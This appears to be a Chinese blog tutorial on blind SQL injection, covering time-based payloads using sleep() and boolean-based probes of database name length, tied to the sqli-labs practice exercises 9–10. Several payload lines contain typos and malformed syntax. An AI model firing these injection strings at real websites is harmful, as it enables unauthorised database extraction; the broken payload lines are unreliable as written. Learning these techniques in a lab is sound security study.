SQL注入实战:盲注

盲注:

1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据。

2、Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,并不显示sql语句的错误,这种情况并没有解决SQL注入存在的代码问题。

3、盲注可以分为基于不二的盲注和基于事件的盲注

一:基于时间的盲注

1、延时注入,用的最多的注入

2、常用的判断语句:

' and if(1=0,1,sleep(10)) --+ 

" and if(1=0,1,sleep(10)) --+

) and if(1=0,1,sleep(10)) --+

') and if(1=0,1,sleep(10)) --+

") and if(1=0,1,sleep(10)) --+

利用if(条件,0,1)函数,当条件为真返回0,假则返回1

sqli-lab 9-10实验就是基于时间的盲注

?id=1' and if(ascli(substr(database(),1.1))=115,sleep(5),1)--+

二:基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的方法猜解字符串,

select length(database());

select substr(database(),1,1);

select length ascii(substr(database(),1,1);

select length ascii(substr(database(),1,1)>N;

select length ascii(substr(database(),1,1)=N;

select length ascii(substr(databa

se(),1,1)<N;

输入:?id=1

输入:?id=1'

输入:?id=1' and length(database())=8 --+       (查看数据库的长度)

把=8改成=9,会发现没有了        (说明数据库长度为8)

相关推荐

  1. SQL注入:时间

    2024-01-21 18:48:01       27 阅读
  2. SQL布尔、延迟注入和堆叠注入

    2024-01-21 18:48:01       50 阅读
  3. SQL注入攻击 - 基于时间的

    2024-01-21 18:48:01       64 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-21 18:48:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-21 18:48:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-21 18:48:01       82 阅读
  4. Python语言-面向对象

    2024-01-21 18:48:01       91 阅读

热门阅读

  1. 客户需求,就是项目管理中最难管的事情

    2024-01-21 18:48:01       59 阅读
  2. MYSQL--count(*) 和 count(1)和count(列名)区别

    2024-01-21 18:48:01       50 阅读
  3. c#之函数

    2024-01-21 18:48:01       53 阅读
  4. Redis- AOF刷盘策略

    2024-01-21 18:48:01       47 阅读
  5. Redis

    Redis

    2024-01-21 18:48:01      51 阅读
  6. Ubuntu 18.04 and 16.04 How to change the resolution

    2024-01-21 18:48:01       53 阅读
  7. jQuery学习笔记

    2024-01-21 18:48:01       41 阅读
  8. 组件传递数据——$emit(子传父)

    2024-01-21 18:48:01       57 阅读
  9. Ubuntu1804下如何切换python版本

    2024-01-21 18:48:01       57 阅读
  10. 数据库-列的类型-Enum类型和set类型

    2024-01-21 18:48:01       46 阅读
  11. max98357 的几点说明

    2024-01-21 18:48:01       47 阅读
  12. c++复习-基础-从c到c++

    2024-01-21 18:48:01       53 阅读